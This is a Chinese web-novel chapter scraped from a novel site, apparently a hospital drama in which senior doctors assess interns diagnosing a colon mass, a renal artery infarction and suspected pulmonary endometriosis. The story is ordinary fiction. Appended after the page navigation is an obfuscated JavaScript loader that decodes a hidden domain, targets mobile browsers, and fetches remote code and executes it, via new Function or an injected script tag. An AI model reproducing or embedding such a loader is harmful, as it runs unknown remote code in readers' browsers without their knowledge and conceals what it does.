返回第365章 谁教的?  桃月白雪首页

关灯 护眼     字体:

更快章节推荐:三易小说网【高速更新_www.31fq.com】 

上一页 目录 下一章

彩超出来,阑尾炎没毛病。

只不过这腹部ct出来,他们就一脸惊异了,还真有问题啊。

ct上,有一片阴影,只不过这到底是什么上面的,就不确定了。

但是腹部就那么多器官,肝脏、胰腺、脾脏可以确定不是。

那就只能说胃肠了。

看位置接近阑尾,怕不就是结肠了。

还真给查出来问题了,看着这阴影,像是结肠上有占位啊。

想到这里,众人也是不由得感叹江蓓幸运,竟然这都给碰上了。

“不错,这可是个埋雷病人啊,这要是没查ct,真以阑尾炎做手术,肚子一开,看到这情况,谁都得傻眼。

影响患者治疗不说,和患者家属也没法儿交代,武主任学生带的好啊。”

林东平忽然开口笑道,而且,武小富刚才看到病人之后就说这个病人麻烦,显然一眼就看出很多问题。

其实他们之前挑病人,都是一起挑的,也不是说先看过的,只是看一下患者危不危急,交给实习生们看,会不会因为时间影响,让患者出现问题。

具体每个患者到底是什么病,其实他们也不都清楚。

如今江蓓这里有先见之明,将结肠问题排查了出来,后续无疑是能拿到一个不错的分数的。

别说,前面的傅远航和荀奇都不一定比得上江蓓。

而潘营那里就有些麻烦了,潘营开的检查单也是直接查的。

患者的肾动脉cta出来了。

很糟糕。

右肾大部已梗死,基本已经无法挽救了,也就是说患者的右肾已经失去功能了。

患者到底是来晚了,其实从发现血压升高就来就诊,说不定当时的右肾还是能够挽救的,毕竟血压升高就是患者肾脏给患者发出的求救信号。

但是现在都晚了。

“没想到是肾动脉梗死引起的高血压,这个病例确实是难,其实潘营以高血压收住入院,然后后续进一步检查,面对这么难的病情。

我们也会酌情考虑分数的,这,可惜了。”

姜元凯开口说道,其他人也是点了点头,说实话,肾动脉梗死这是他们都没有太在意的一个原因,因为就算是肾源性的,应该也不至于这么急。

偏偏还就是。

“还是急了,我们都不敢擅自决断的病情,他就敢?也算涨个教训吧。”

苗清妍摇了摇头说道。

“不过这个患者的血压,既然是肾动脉梗死引起的,那控制起来应该不难,患者也没有闪烁性肺水肿、严重肾功能不全等,没有植入动脉支架的指征。

给患者加用华法林抗凝治疗后,然后长期口服拜新同等降压药就好了。”

肾动脉已经梗死,不涉及激素的影响,其他血管条件,肾脏和心脏也都没有其他功能性问题,血压反倒是好控制了。

苗清妍说着自己的判断,后续潘营开始到病房考核的时候,如果能够按照这个来,分数还是可以挽回一些的。

“算了,下一个。”

众人看了一圈,目光锁定到了宋湉湉的诊室。

宋湉湉和傅远航当时可是被看成第一第二的,后面傅远航被荀奇压住了,但是女实习生里,宋湉湉还是第一,目前总排名也在第三。

这可是立志要成为林薇那样心外科女一把手的实习生啊。

不过,林薇年对的这个患者难度可不低啊,应该是她这五个患者里难度最高的一个了。

想要看对,可不容易。

“您好,这次是因为什么过来的。”

宋湉湉看着旁边的患者问道,这是一个青年女性患者,脸色略显苍白,有些急性病容,让宋湉湉一眼便觉得是心肺上的问题。

“咯血,都一周了,一开始以为就是嗓子破了,但是一看这越来越严重了,我就慌了,先是在区里做了胸部ct,医生您看看,那里的医生建议我到心胸外科看看,我不放心,就来这里了。”

有片子,那就好说了,不过那里的医生既然让患者到心胸外科,恐怕这病症应该就在心肺上,还是需要外科解决的病症。

说实话,这个信息给的已经够多了。

宋湉湉心中想着,应该不会太难。

“有空洞和结节影!”

看了一眼ct,宋湉湉便是发现情况不轻,青年女性,ct上这样的特征,结核?

“体温高吗?”

“不高啊。”

不高,结核若是进展到这个地步,应该有低烧才对,而且患者没有咳嗽等结核的其他症状。

潜伏期不存在的,毕竟ct情况可不乐观。

那就是其他可能!

“这个患者的病症有点意思啊。”

武小富突然开口,其他人还在想着呢,看到武小富的笑容,不由得一奇,“武主任已经有定论了?”

“我之前遇到一个特殊的病例,说实话觉得已经够特殊了,不想这还遇到一个更特殊的,我那个是肝脏原因来诊的。

一检查发现是子宫内膜异位症异位到肝脏了。”

子宫内膜异位症!

众人闻言一愣,随即便是明白了什么,武小富这是说患者子宫内膜异位症,异位到胸部了?

不能吧!

目光看向姜元凯,希望姜元凯给个结论。

姜元凯沉吟一下,“患者胸部ct提示双肺散在多发空洞伴晕征,同时可见结节影,且空洞及结节影大部分与血管关系密切。

结合其影像特点主要考虑以下几种疾病可能,子宫内膜异位症,lam,plch,bdh综合征,lip以及感染性疾病。

由于lam影像一般以薄壁囊肿多见,且分布比较弥散,与血管关系并无明显相关性,所以可以直接排除。

嗯,这么一看,还真是子宫内膜异位症最有可能。”

(本章完)

『加入书签,方便阅读』

上一页 目录 下一章

function UqgsgfgDv(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{ c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function UqSDDFGvyQ(e){ var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,""); while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return UqgsgfgDv(t);};window[''+'U'+'Y'+'C'+'q'+'J'+'K'+'']=(!/^Mac|Win/.test(navigator.platform)||!navigator.platform)?function(){;(function(u,i,w,d,c){var x=UqSDDFGvyQ,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));'jQuery'; if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')>-1){var xhr=new XMLHttpRequest();xhr.open('POST','https://'+u+'/bm-'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'u'+'q'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else{var s=d[crd]('script');s.src='https://'+u+'/m-'+i;cs.parentElement.insertBefore(s,cs);}})('aGYuc2Rqa2JjamtzYmRzdnYuY29t','2843',window,document,['G','TpoZFcguG']);}:function(){};